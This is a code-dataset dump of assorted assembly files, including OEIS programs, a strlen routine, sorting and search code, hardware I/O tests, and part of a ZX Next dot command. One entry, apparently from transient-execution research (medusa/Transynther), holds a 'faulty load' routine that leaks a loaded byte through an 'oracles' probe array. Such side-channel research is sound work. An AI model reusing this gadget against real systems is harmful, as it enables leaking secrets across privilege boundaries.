hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
67d916592677881c6eef8424fb6be2bc51370843 | 1,411 | asm | Assembly | Assembler/AssemblyCode/CALLING_CONVENTION.asm | KPU-RISC/KPU | 9f85c322e1b8489eef31f0696799e0c6c7273c0e | [
"MIT"
] | 8 | 2017-04-16T16:53:03.000Z | 2021-09-14T22:29:28.000Z | Assembler/AssemblyCode/CALLING_CONVENTION.asm | KPU-RISC/KPU | 9f85c322e1b8489eef31f0696799e0c6c7273c0e | [
"MIT"
] | null | null | null | Assembler/AssemblyCode/CALLING_CONVENTION.asm | KPU-RISC/KPU | 9f85c322e1b8489eef31f0696799e0c6c7273c0e | [
"MIT"
] | null | null | null | ; Initialize the stack pointer and the base pointer
MOV XL, 0xFF
MOV XH, 0xFF
MOV SP, X
MOV XL, 0
MOV XH, 0
MOV BP, X
CALL :MAIN
; Write the stack pointer into the Output Port C
MOV X, SP
OUTB XL
MOV X, SP
OUTB XH
HLT
:MAIN
; ===============
; BEGIN Prologue
; ===============
PUSH BP
MOV BP, SP
SUB SP, 5
; =============
; END Prologue
; =============
; Push the function arguments onto the stack
MOV D, 4
PUSH D
MOV D, 3
PUSH D
; int result = ADDER(3, 4);
CALL :ADDER
; Remove the arguments from the stack frame
ADD SP, 2
; Write the result into the Output Port C
OUTB D ; Access the result of the function call from register "D"
; =============
; BEGIN Epilog
; =============
MOV SP, BP
POP BP
; =============
; END Epilog
; =============
; Return from the function MAIN...
RET
:ADDER
; ===============
; BEGIN Prologue
; ===============
PUSH BP
MOV BP, SP
; Make some space on the stack for local variables
MOV X, SP
DEC XL
MOV SP, X
; =============
; END Prologue
; =============
; Access the input parameter values that were pushed onto the stack
MOV E, [BP + 4] ; Value 3
MOV F, [BP + 5] ; Value 4
ADD E, F
; Store the result as a local variable on the stack
MOV [BP - 1], E
; Store the return value in the register "D"
MOV D, E
; =============
; BEGIN Epilog
; =============
MOV SP, BP
POP BP
; =============
; END Epilog
; =============
; Return from the function ADDER...
RET | 14.252525 | 67 | 0.566265 |
42014fb02894ececc0b347027c863b2633d56547 | 987 | asm | Assembly | nasm-gcc-container/nasm-gcc/src/02/strlen.asm | smith-30/low-layer | 4a200fcc60d1fcf1ff111e3aca2a5a83b648afc2 | [
"MIT"
] | null | null | null | nasm-gcc-container/nasm-gcc/src/02/strlen.asm | smith-30/low-layer | 4a200fcc60d1fcf1ff111e3aca2a5a83b648afc2 | [
"MIT"
] | null | null | null | nasm-gcc-container/nasm-gcc/src/02/strlen.asm | smith-30/low-layer | 4a200fcc60d1fcf1ff111e3aca2a5a83b648afc2 | [
"MIT"
] | null | null | null | global _start
section .data
test_string: db "abcdef", 0 ; 文字列の終わりを示す. 0を使ったものは
; null-terminated string と呼ばれる
section .text
strlen: ; この関数はただ1個の引数をrdiから受け取る
; (われわれの規約による)
xor rax, rax ; raxに文字列の長さが入る。最初にゼロで初期化
; しなければランダムな値になってしまう
.loop: ; start main loop
cmp byte [rdi+rax], 0 ; 現在の文字/記号が終結のヌルかどうかを調べる
; ここで `byte` 修飾が絶対に必要
; (cmpのオペランドは左右必ず同じサイズ)
; 右側のオペランドがイミディエイトでサイズの情報がないので、
; メモリから何バイト取り出してゼロと比較すればよいのか
; `byte` がなければ不明である
je .end ; if find null jump
inc rax ; else jump next string (count up)
jmp .loop
.end:
ret ; `ret` に到着したとき、raxに戻り値が入っている
_start:
mov rdi, test_string
call strlen
mov rdi, rax
mov rax, 60
syscall ; call `echo $?` on your terminal. exp 6 | 27.416667 | 59 | 0.513678 |
feaece19c18c0941dbcfa8ea105a318fa845d5e4 | 1,663 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_3_134.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_3_134.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_3_134.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r9
push %rax
lea addresses_WT_ht+0x19e7b, %r9
nop
nop
add $23932, %r11
vmovups (%r9), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rax
nop
nop
nop
nop
dec %r12
pop %rax
pop %r9
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_RW+0x1c27b, %rsi
lea addresses_normal+0xc07b, %rdi
nop
nop
and $17608, %r9
mov $97, %rcx
rep movsl
nop
sub $37884, %rdi
// REPMOV
lea addresses_PSE+0x1b07b, %rsi
lea addresses_US+0x13bb, %rdi
nop
nop
cmp $52549, %r13
mov $13, %rcx
rep movsl
nop
nop
nop
nop
sub $64951, %r14
// Faulty Load
lea addresses_PSE+0x1b07b, %rdi
nop
nop
nop
inc %r11
mov (%rdi), %si
lea oracles, %r13
and $0xff, %rsi
shlq $12, %rsi
mov (%r13,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_RW'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal'}}
{'src': {'same': True, 'congruent': 0, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_US'}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'33': 3}
33 33 33
*/
| 17.88172 | 147 | 0.652435 |
3a6156f29588d262229580813a0d6cf832a5f35a | 586 | asm | Assembly | oeis/294/A294643.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/294/A294643.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/294/A294643.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A294643: Length (= size) of the orbit of n under the "3x+1" map A006370: x -> x/2 if even, 3x+1 if odd. a(n) = -1 in case the orbit would be infinite.
; Submitted by Christian Krause
; 1,3,3,8,3,6,9,17,4,20,7,15,10,10,18,18,5,13,21,21,8,8,16,16,11,24,11,112,19,19,19,107,6,27,14,14,22,22,22,35,9,110,9,30,17,17,17,105,12,25,25,25,12,12,113,113,20,33,20,33,20,20,108,108,7,28,28
sub $0,1
mov $1,2
mov $2,$0
cmp $2,0
add $0,$2
div $1,$0
max $0,0
seq $0,6577 ; Number of halving and tripling steps to reach 1 in '3x+1' problem, or -1 if 1 is never reached.
max $1,$0
mov $0,$1
add $0,1
| 36.625 | 194 | 0.650171 |
08772f5a858d2cd551ebab7c36e09ac00c3a4555 | 1,831 | asm | Assembly | 28.asm | AsadKhalil/Assembly_x86 | 48aa2a0ab93fd359f5f20369bb9064052c2f2884 | [
"MIT"
] | null | null | null | 28.asm | AsadKhalil/Assembly_x86 | 48aa2a0ab93fd359f5f20369bb9064052c2f2884 | [
"MIT"
] | null | null | null | 28.asm | AsadKhalil/Assembly_x86 | 48aa2a0ab93fd359f5f20369bb9064052c2f2884 | [
"MIT"
] | null | null | null | [org 0x0100]
jmp start
array: dw 10, 8, 6, 4, 2, 1 ;re-arrange the elements. The program will
;sort it in descending order itself
size: dw 6
swap: db 0
lb: dw 0
ub: dw 0
mid: dw 0
ele: dw 4 ;the element to be searched
flag: dw 0
start:
;sorting in descending order
mov bx, 0 ; initialize array index to zero
mov cx, 1
mov byte [swap], 0 ; rest swap flag to no swaps
loop1:
mov ax, [array+bx] ; load number in ax
cmp ax, [array+bx+2] ; compare with next number
jae noswap ; no swap if already in order
mov dx, [array+bx+2] ; load second element in dx
mov [array+bx+2], ax ; store first number in second
mov [array+bx], dx ; store second number in first
mov byte [swap], 1 ; flag that a swap has been done
noswap:
add bx, 2 ; advance bx to next index
inc cx
cmp cx, [size]
jnz loop1 ; if not compare next two
cmp byte [swap], 1 ; check if a swap has been done
je start ; if yes make another pass
;binary search
mov ax, 0
mov bx, 0
mov cx, 0
mov dx, 0
mov ax, [size]
dec ax
mov word [ub], ax
search:
mov ax, [lb]
cmp ax, [ub]
jg endsearch
add ax, [ub]
mov cx, 2
cmp ax, 1
jz skip3
div cx
skip3:
mul cl
mov bx, ax
mov ax, [array + bx]
cmp ax, [ele]
jz endsearch2
cmp ax, [ele]
ja skip2
mov ax, [lb]
add ax, [ub]
mov cx, 2
mov dx, 0
div cx
mov bx, ax
cmp bx, 0
jz skip4
dec bx ;mid - 1
skip4:
mov word[ub], bx
jmp search
skip2:
mov ax, [lb]
add ax, [ub]
mov cx, 2
mov dx, 0
div cx
mov bx, ax
inc bx
mov word [lb], bx
jmp search
endsearch2:
mov word [flag], 1
endsearch:
cmp word [flag], 1
jz found
mov ax, 0
jmp finish
found:
mov ax, 1
finish:
mov dx, ax ;just for checking
mov ax, 0x04c00
int 21h | 15.649573 | 71 | 0.598034 |
25d6ed00c8f79d7039e7c50975b1c1cbf7133913 | 368 | asm | Assembly | programs/oeis/120/A120145.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/120/A120145.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/120/A120145.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A120145: a(1)=20; a(n)=floor((41+sum(a(1) to a(n-1)))/2).
; 20,30,45,68,102,153,229,344,516,774,1161,1741,2612,3918,5877,8815,13223,19834,29751,44627,66940,100410,150615,225923,338884,508326,762489,1143734,1715601,2573401,3860102,5790153,8685229,13027844
add $0,1
lpb $0
sub $0,1
add $2,$1
mov $1,11
add $1,$2
div $1,2
add $2,15
lpe
add $1,15
mov $0,$1
| 24.533333 | 196 | 0.671196 |
c780e13a184d5be753bcff555b37bb6de9e94617 | 1,596 | asm | Assembly | Assembly/PIC16F84A/PORTA.asm | JoelBuenrostro/PIC-Programming-examples | 32983dbe089419ce1b2ed2f5061a0d3e80674a68 | [
"MIT"
] | 1 | 2018-04-15T23:05:30.000Z | 2018-04-15T23:05:30.000Z | Assembly/PIC16F84A/PORTA.asm | JoelBuenrostro/PIC-Programming-examples | 32983dbe089419ce1b2ed2f5061a0d3e80674a68 | [
"MIT"
] | 2 | 2018-04-09T03:14:35.000Z | 2018-04-15T18:28:24.000Z | Assembly/PIC16F84A/PORTA.asm | JoelBuenrostro/PIC-Programming-examples | 32983dbe089419ce1b2ed2f5061a0d3e80674a68 | [
"MIT"
] | null | null | null | ;-------------------------------------------------------------------------------------------
;File: Pin PORTA.asm
;Author: Joel Buenrostro
;Date: 10/04/2018
;Environment: MPLAB X IDE v4.15
;Compiler: mpasm (v5.77)
;Description: Code that configures port A as output and activates pin RA0 in a high state
;until the power supply of the PIC is eliminated.
;-------------------------------------------------------------------------------------------
;Device
List P=16F84A
#include "p16f84a.inc"
;-------------------------------------------------------------------------------------------
;Configuration Bits
__CONFIG _FOSC_XT & _WDTE_OFF & _PWRTE_ON & _CP_OFF
;External oscillator, Watchdog off, Power up timer on, Code protection off
;-------------------------------------------------------------------------------------------
;Label Instruction Operand Comments
;-------------------------------------------------------------------------------------------
ORG 0 ;Start the program at address 0
START BCF STATUS,RP0 ;We select bank 0
CLRF PORTA ;We clean the outputs of port A
BSF STATUS,RP0 ;We select the bank 1
MOVLW B'00000000' ;We load a binary number in W
MOVWF TRISA ;We configure the entire port as output
BCF STATUS,RP0 ;We select bank 0
MAIN MOVLW B'00000001' ;We load a binary number in W
MOVWF PORTA ;We move what is loaded in W to the PORTA register
GOTO PRINCIPAL ;We jump TO MAIN
END ;The program ends
| 51.483871 | 92 | 0.461153 |
53c6db0b8cf72b9b3fc5b628f382b4a4fc43e981 | 703 | asm | Assembly | oeis/024/A024549.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/024/A024549.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/024/A024549.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A024549: Sum of [ 1/{k*sqrt(3)} ], k = 1,2,...,n, where {x} := x - [ x ].
; Submitted by Christian Krause
; 1,3,8,9,10,12,20,21,22,25,44,45,46,50,51,52,54,59,60,61,63,72,73,74,77,107,108,110,114,115,116,118,124,125,126,128,139,140,141,144,215,216,218,222,223,224,226,233,234,235,237,252,253,254,257,258,259,261,266,267,268,270,278,279,280,283,304,305,306,310,311,312,314,319,320,321,323,333,334,335,338,373,374,376,380,381,382,384,390,391,392,394,406,407,408,411,523,524,526,530
mov $2,$0
mov $4,$0
add $4,1
lpb $4
mov $0,$2
sub $4,1
sub $0,$4
add $0,1
mov $1,$0
pow $1,2
mul $1,2
lpb $1
sub $1,$0
add $0,1
sub $1,$0
lpe
mul $0,2
div $0,$1
add $3,$0
lpe
mov $0,$3
| 27.038462 | 372 | 0.607397 |
58a13869e2e0a06a1ecc72264f8844c01360a00a | 1,649 | asm | Assembly | programs/oeis/171/A171270.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/171/A171270.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/171/A171270.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A171270: a(n) is the only number m such that m = pi(1^(1/n)) + pi(2^(1/n)) + ... + pi(m^(1/n)).
; 3,11,33,95,273,791,2313,6815,20193,60071,179193,535535,1602513,4799351,14381673,43112255,129271233,387682631,1162785753,3487832975,10462450353,31385253911,94151567433,282446313695,847322163873,2541932937191,7625731702713,22877060890415,68630914235793,205892205836471,617675543767593,1853024483819135,5559069156490113,16677198879535751,50031579458738073,150094704016475855,450284043329950833,1350851992550899031,4052555702774790153,12157666558568556575,36472998576194041953,109418993529558870311,328256976190630099833,984770919775797277295,2954312741735205787473,8862938190021245273591,26588814499694991643113,79766443358347486574015,239299329793567483011393,717897988817752495612871,2153693965327357579995993,6461081893730272926302735,19383245676687219151537713,58149737021054458199872151,174449211045148976090134473,523347633099418131251439455,1570042899226196799716390433,4710128697534475211073315431,14130386092315195257068234553,42391158276369125018901280175,127173474827954453552096993553,381520424481557517647077286711,1144561273440060866922804472233,3433683820310959228731558640895,10301051460914430942120966371073,30903154382706399338215480009991,92709463148045411038351601823513,278128389443988659162465129057615,834385168331670829582216034346993,2503155504994422192936289397389271,7509466514982085987188150780864393,22528399544943896778323017519986335,67585198634826967968486182914745313,202755595904471459172492809453808551,608266787713395488051546949780570873
add $0,1
mov $1,3
pow $1,$0
mov $2,2
pow $2,$0
add $1,$2
sub $1,2
mov $0,$1
| 137.416667 | 1,473 | 0.901152 |
f0a0371209b564a4de31fae6ef6d062e07294c2b | 2,450 | asm | Assembly | library_dir_dir/system_library_unbundled/source/pc_mowse_.s.archive/pe_entry.asm | dancrossnyc/multics | dc291689edf955c660e57236da694630e2217151 | [
"RSA-MD"
] | 65 | 2021-07-27T16:54:21.000Z | 2022-03-30T17:50:19.000Z | library_dir_dir/system_library_unbundled/source/pc_mowse_.s.archive/pe_entry.asm | dancrossnyc/multics | dc291689edf955c660e57236da694630e2217151 | [
"RSA-MD"
] | 1 | 2021-07-29T13:24:12.000Z | 2021-07-29T13:28:22.000Z | library_dir_dir/system_library_unbundled/source/pc_mowse_.s.archive/pe_entry.asm | dancrossnyc/multics | dc291689edf955c660e57236da694630e2217151 | [
"RSA-MD"
] | 4 | 2021-07-27T16:05:31.000Z | 2021-12-30T08:38:51.000Z | ; ***********************************************************
; * *
; * Copyright, (C) Honeywell Bull Inc., 1987 *
; * *
; * Copyright, (C) Honeywell Information Systems Inc., 1986 *
; * *
; ***********************************************************
; HISTORY COMMENTS:
; 1) change(86-07-04,Westcott), approve(87-07-13,MCR7580),
; audit(87-07-13,Leskiw), install(87-08-07,MR12.1-1072):
; Created.
; END HISTORY COMMENTS
;/* : PROCEDURE FUNCTION (pe_antry)
;
;Provides a "far" entry point to be used by MOWSE for calling pe.c when an
;application message is received. The use of this routine allows us to use
;the small memory model for the Lattice compiler.
;*/
include dos.mac
;-------------- External procedures
extrn pe:near
;-------------- Data segment
dseg
pe_str struc
old_bp dw ? ; save area for old bp
off_r1 dw ? ; return offset from stack call
seg_r1 dw ? ; return segment from stack call
off_r2 dw ? ; return offset from wsexecap
seg_r2 dw ? ; return segment from execap
mcb_ptr dw ? ; param for pe (mcb_ptr)
min_cap dw ? ; param for pe (minor_capability)
bufseg dw ? ; param for pe (buffer segment address)
bufoff dw ? ; param for pe (buffer offset address)
buflen dw ? ; param for pe (buffer length)
pe_str ends
endds
;*************************************************************************
; MAIN
;*************************************************************************
pseg
public pe_entry
pe_entry proc far
push bp ; save BP
mov bp,sp ; Get parameter off stack
push buflen[bp] ; ... bp -> pe_str.buf_lend (backwords addressing)
push bufoff[bp] ; ... and put them onto stack individually
push bufseg[bp]
push min_cap[bp]
push mcb_ptr[bp]
call pe ; call pre_entry routine to application
mov sp,bp ; put sp back
pop bp ; restore original bp
ret
pe_entry endp
endps
end
| 35 | 89 | 0.441633 |
f5cd0a06a2469b856db9ebf553bb5b617ef4ecb0 | 1,457 | asm | Assembly | programs/oeis/139/A139615.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/139/A139615.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/139/A139615.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A139615: a(n) = 105*n + 15.
; 15,120,225,330,435,540,645,750,855,960,1065,1170,1275,1380,1485,1590,1695,1800,1905,2010,2115,2220,2325,2430,2535,2640,2745,2850,2955,3060,3165,3270,3375,3480,3585,3690,3795,3900,4005,4110,4215,4320,4425,4530,4635,4740,4845,4950,5055,5160,5265,5370,5475,5580,5685,5790,5895,6000,6105,6210,6315,6420,6525,6630,6735,6840,6945,7050,7155,7260,7365,7470,7575,7680,7785,7890,7995,8100,8205,8310,8415,8520,8625,8730,8835,8940,9045,9150,9255,9360,9465,9570,9675,9780,9885,9990,10095,10200,10305,10410,10515,10620,10725,10830,10935,11040,11145,11250,11355,11460,11565,11670,11775,11880,11985,12090,12195,12300,12405,12510,12615,12720,12825,12930,13035,13140,13245,13350,13455,13560,13665,13770,13875,13980,14085,14190,14295,14400,14505,14610,14715,14820,14925,15030,15135,15240,15345,15450,15555,15660,15765,15870,15975,16080,16185,16290,16395,16500,16605,16710,16815,16920,17025,17130,17235,17340,17445,17550,17655,17760,17865,17970,18075,18180,18285,18390,18495,18600,18705,18810,18915,19020,19125,19230,19335,19440,19545,19650,19755,19860,19965,20070,20175,20280,20385,20490,20595,20700,20805,20910,21015,21120,21225,21330,21435,21540,21645,21750,21855,21960,22065,22170,22275,22380,22485,22590,22695,22800,22905,23010,23115,23220,23325,23430,23535,23640,23745,23850,23955,24060,24165,24270,24375,24480,24585,24690,24795,24900,25005,25110,25215,25320,25425,25530,25635,25740,25845,25950,26055,26160
mov $1,$0
mul $1,105
add $1,15
| 208.142857 | 1,394 | 0.807138 |
78cee37aac07310d8dbc174277003227c4d87437 | 1,106 | asm | Assembly | Z80/aciatest/aciatest.asm | BleuLlama/LlamaVampireDrive | 63f5990f239afaf7a88373041bece0873eb7b67b | [
"MIT"
] | 4 | 2020-12-01T03:34:41.000Z | 2021-07-22T23:26:40.000Z | Z80/aciatest/aciatest.asm | BleuLlama/LlamaVampireDrive | 63f5990f239afaf7a88373041bece0873eb7b67b | [
"MIT"
] | null | null | null | Z80/aciatest/aciatest.asm | BleuLlama/LlamaVampireDrive | 63f5990f239afaf7a88373041bece0873eb7b67b | [
"MIT"
] | null | null | null | ; small test for the ACIA handler
;
ACIA_CONTROL = 0x80
ACIA_DATA = 0x81
STORE = 0x8000
STACK = 0x9000
.module ACIA_TEST
.area .CODE (ABS)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; initial entry point
.org 0x0000 ; start at 0x0000
di ; disable interrupts
ld sp, #STACK ; setup the stack
im 1 ; interrupt mode 1
ld a, #0x0d
out (ACIA_DATA), a
ld a, #0x0a
out (ACIA_DATA), a
ld a, #0x0d
out (ACIA_DATA), a
ld a, #0x0a
out (ACIA_DATA), a
xxx:
in a, (ACIA_CONTROL)
and #0x01
jr z, xxx
ld a, #0x7c
out (ACIA_DATA), a
in a, (ACIA_DATA)
out (ACIA_DATA), a
jr xxx
jp main ; do our thing
.org 0x0038 ; Interrupt handler
di
push af
in a, (ACIA_DATA)
ld (STORE), a
out (ACIA_DATA), a
pop af
ei
reti
.org 0x0100
main:
; write out some memory
ld a, #0xaa
ld (#0x1000), a
ei ; turn on interrupts
inloop:
jr inloop
; wait for input
in a, (ACIA_CONTROL)
and #0x01
cp #0x01
jr z, inloop ; no input yet, check again
; send the input back out
ld a, #0x7c ; '|'
out (ACIA_DATA), a
in a, (ACIA_DATA)
out (ACIA_DATA), a
jr inloop ; do it again!
| 13.325301 | 41 | 0.617541 |
dd2596b4e4134d2b2f2bc38c21a42e4c7fac2b7f | 349 | asm | Assembly | ADL/Assemble/Delete/1/R~HR_delete_head.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | 3 | 2021-11-06T03:47:08.000Z | 2021-11-06T03:47:11.000Z | ADL/Assemble/Delete/1/R~HR_delete_head.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | null | null | null | ADL/Assemble/Delete/1/R~HR_delete_head.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | 1 | 2021-11-06T03:47:14.000Z | 2021-11-06T03:47:14.000Z | aLine 0
gNew delPtr
gMove delPtr, Root
aLine 1
gBne Root, null, 3
aLine 2
Exception EMPTY_LIST
aLine 4
gBne Root, Rear, 6
aLine 5
gMove Root, null
aLine 6
gMove Rear, null
Jmp 8
aLine 9
nMoveRelOut Root, Root, 100
gMoveNext Root, Root
aLine 10
pSetNext Rear, Root
aLine 12
pDeleteNext delPtr
nDelete delPtr
gDelete delPtr
aLine 13
aStd
Halt | 9.971429 | 27 | 0.770774 |
7d04c3215d08fbd5d11c1bde6fbe222a1f3e6592 | 7,640 | asm | Assembly | src/asm/general.asm | Threetwosevensixseven/nget | d8046ad996f91ba67ff76bf62e1fb34b53fe027c | [
"Apache-2.0"
] | 3 | 2020-03-28T00:09:59.000Z | 2020-06-10T09:57:02.000Z | src/asm/general.asm | Threetwosevensixseven/nget | d8046ad996f91ba67ff76bf62e1fb34b53fe027c | [
"Apache-2.0"
] | null | null | null | src/asm/general.asm | Threetwosevensixseven/nget | d8046ad996f91ba67ff76bf62e1fb34b53fe027c | [
"Apache-2.0"
] | null | null | null | ; general.asm
InstallErrorHandler proc
ld hl, ErrorHandler
Rst8(esxDOS.M_ERRH)
ret
pend
ErrorHandler proc
ld hl, Err.Break
jp Return.WithCustomError
pend
ErrorProc proc
if enabled ErrDebug
call PrintRst16Error
Stop: Border(2)
jr Stop
else
push hl ; If we want to print the error at the top of the screen,
call PrintRst16Error ; as well as letting BASIC print it in the lower screen,
pop hl ; then uncomment this code.
jp Return.WithCustomError ; Straight to the error handing exit routine
endif
pend
RestoreF8 proc
Saved equ $+1: ld a, SMC ; This was saved here when we entered the dot command
and %1000 0000 ; Mask out everything but the F8 enable bit
ld d, a
NextRegRead(Reg.Peripheral2) ; Read the current value of Peripheral 2 register
and %0111 1111 ; Clear the F8 enable bit
or d ; Mask back in the saved bit
nextreg Reg.Peripheral2, a ; Save back to Peripheral 2 register
ret
pend
DeallocateBanks proc
Upper1 equ $+1: ld a, $FF ; Default value of $FF means not yet allocated
call Deallocate8KBank ; Ignore any error because we are doing best efforts to exit
Upper2 equ $+1: ld a, $FF ; Default value of $FF means not yet allocated
call Deallocate8KBank ; Ignore any error because we are doing best efforts to exit
; In more robust library code we might want to set these
; locations back to $FF before exiting, but here we are
; definitely exiting the dot command imminently.
//ld sp, $4000 ; Put stack within dot command for the final part
nextreg $56, 0 ; Restore what BASIC is expecting to find at $C000 (16K bank 0)
nextreg $57, 1 ; Restore what BASIC is expecting to find at $E000 (16K bank 0)
//ld sp, (Return.Stack1) ; PRestore stack to original BASIC place for the final messages
//dec sp
//dec sp
ret
pend
RestoreSpeed proc
Saved equ $+3: nextreg Reg.CPUSpeed, SMC ; Restore speed
ret
pend
Return proc
ToBasic:
call RestoreSpeed ; Restore original CPU speed
call RestoreF8 ; Restore original F8 enable/disable state
call DeallocateBanks ; Return allocated 8K banks and restore upper 48K banking
xor a
Stack ld sp, SMC ; Unwind stack to original point
Stack1 equ Stack+1
ei
ret ; Return to BASIC
WithCustomError:
ld sp, $4000
ld (ErrAddr), hl
call RestoreSpeed ; Restore original CPU speed
call RestoreF8 ; Restore original F8 enable/disable state
call DeallocateBanks ; Return allocated 8K banks and restore upper 48K banking
ErrAddr equ $+1: ld hl, SMC
xor a
scf ; Signal error, hl = custom error message
jp Stack ; (NextZXOS is not currently displaying standard error messages,
pend ; with a>0 and carry cleared, so we use a custom message.)
Allocate8KBank proc
ld hl, $0001 ; H = $00: rc_banktype_zx, L = $01: rc_bank_alloc
Internal: exx
ld c, 7 ; 16K Bank 7 required for most NextZXOS API calls
ld de, IDE_BANK ; M_P3DOS takes care of stack safety stack for us
Rst8(esxDOS.M_P3DOS) ; Make NextZXOS API call through esxDOS API with M_P3DOS
ErrorIfNoCarry(Err.NoMem) ; Fatal error, exits dot command
ld a, e ; Return in a more conveniently saveable register (A not E)
ret
pend
Deallocate8KBank proc ; Takes bank to deallocate in A (not E) for convenience
cp $FF ; If value is $FF it means we never allocated the bank,
ret z ; so return with carry clear (error) if that is the case
ld e, a ; Now move bank to deallocate into E for the API call
ld hl, $0003 ; H = $00: rc_banktype_zx, L = $03: rc_bank_free
